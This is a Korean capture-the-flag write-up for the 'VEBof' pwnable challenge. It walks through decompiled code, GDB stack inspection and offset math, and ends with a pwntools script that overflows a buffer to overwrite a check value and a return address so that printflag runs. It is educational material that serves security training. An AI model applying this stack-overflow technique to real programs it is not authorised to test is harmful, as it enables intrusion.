653 단어
3 분
[Pwnable] VEBof
문제 정보
- 출처: 2025 제4회 경남권 사이버보안 경진대회
- 분야: Pwnable
- 풀이 날짜: 2026. 07. 01
Environment
- Architecture : x86-64
- OS : Linux
- Debugger : GDB + pwndbg
- Decompiler: BinaryNinja
- Exploit : Python + pwntools
1. 함수 분석
먼저 디컴파일을 통해 주요 함수의 흐름을 파악한다.
main() 함수 분석
int32_t main(int32_t argc, char** argv, char** envp){ int32_t argc_1 = argc; char** argv_1 = argv; initialize(); void var_118; __builtin_memset(&var_118, 0, 0x100); void buf; __builtin_memset(&buf, 0, 0x100); int32_t var_21c = 0; void (* var_10)() = tictoc; puts("So, How much data do you want to input?"); __isoc99_scanf("%d", &var_21c); puts("Let's input data!"); read(0, &buf, (uint64_t)var_21c); // 버퍼 오버플로우 발생하는 부분
if (var_10 == 0xdeadbeef) return 0;
puts("Nah..."); exit(0xffffffff); /* no return */}-
입력할 데이터 사이즈와 데이터를 입력받음
-
if조건을 만족하면 retrurn을하고 만족못하면 exit로 프로그램을 종료함=> 버퍼 오버플로우를 이용하여 if 조건을 만족시키고 Retrun Address를 수정해야함
printflag() 함수 분석
int64_t printflag(){ int64_t var_1008; int64_t var_1008_1 = var_1008; FILE* fp = fopen("./flag", "r");
if (!fp) { perror("fopen"); return 1; }
setvbuf(stdout, nullptr, 2, 0); uint64_t rax_1; uint64_t count;
do { void buf; count = fread(&buf, 1, 0x1000, fp);
if (!count) { fclose(fp); printf("Flag : %s\n", &buf); return 0; }
rax_1 = fwrite(&buf, 1, count, stdout); } while (count == rax_1); perror("fwrite"); fclose(fp); return 1;}./flag파일의 데이터를 출력하는 함수
2. Stack Frame 분석
주요 함수 Address 확인한다.
p <함수명>
| 함수명 | Address |
|---|---|
main | 0x40145e |
printflag | 0x4012ff |
어셈블리를 확인한다.
disas main
main 함수에 입력함수 직전에 브레이크를 걸고 데이터를 입력할때 까지 한 줄씩 코드 실행
// breakpoint 설정 및 실행b *0x4014earni // 한 줄씩 코드 실행100 입력

aaaaaaaaaaaaaaaaaaaaaa... 입력

스택을 확인한다.
stack 80
지역변수들의 위치를 확인한다.
| 변수 | Address (rbp 기준) | value |
|---|---|---|
buf | rbp-0x210 | aaaaaaaaaaaaaaaaaaaa. |
var_10 | rbp-0x8 | 0x4012b6 (tictoc) |
| Return Address | rbp+0x8 | 0x7ffff7db6d90 (__libc_start_call_main+128) |
이를 통해 rbp-0x210 ~ rbp+0x8 영역까지 버퍼 오버플로우를 시도하여 var_10과 Retrun Address의 값을 변경해야한다는걸 알수있다.
var_10:0x4012b6->0xdeadbeef- Return Address:
0x7ffff7db6d90->0x0000004012ff
3. Offset 계산
buf부터 var_10까지
0x210 - 0x8 = 0x208buf부터 Return Address까지
0x210 + 0x8 = 0x218정리
buf ~ var_10 = 0x208 bytes
buf ~ Return Address = 0x218 bytes4. Exploit 코드 작성
from pwn import *
context.binary = ELF("./chal")context.arch = "amd64"
p = process("./chal")
# 주소PRINTFLAG = 0x4012ffDEADBEEF = 0xdeadbeef
# 1번째 입력 (정수)p.sendline(b"600")
# 2번째 입력 (버퍼 오버플로우)payload = b"A" * 0x208 # buf ~ var_10payload += p64(DEADBEEF) # var_10 = 0xdeadbeefpayload += b"B" * 8 # saved rbppayload += p64(PRINTFLAG) # Return Address overwrite
p.sendline(payload)
p.interactive()5. 실행
python3 exploit.py
exploit 코드를 실행시키면 flag(임의로 작성한 플래그, 실제 대회때 플래그 아님)가 출력되는걸 확인할수있다.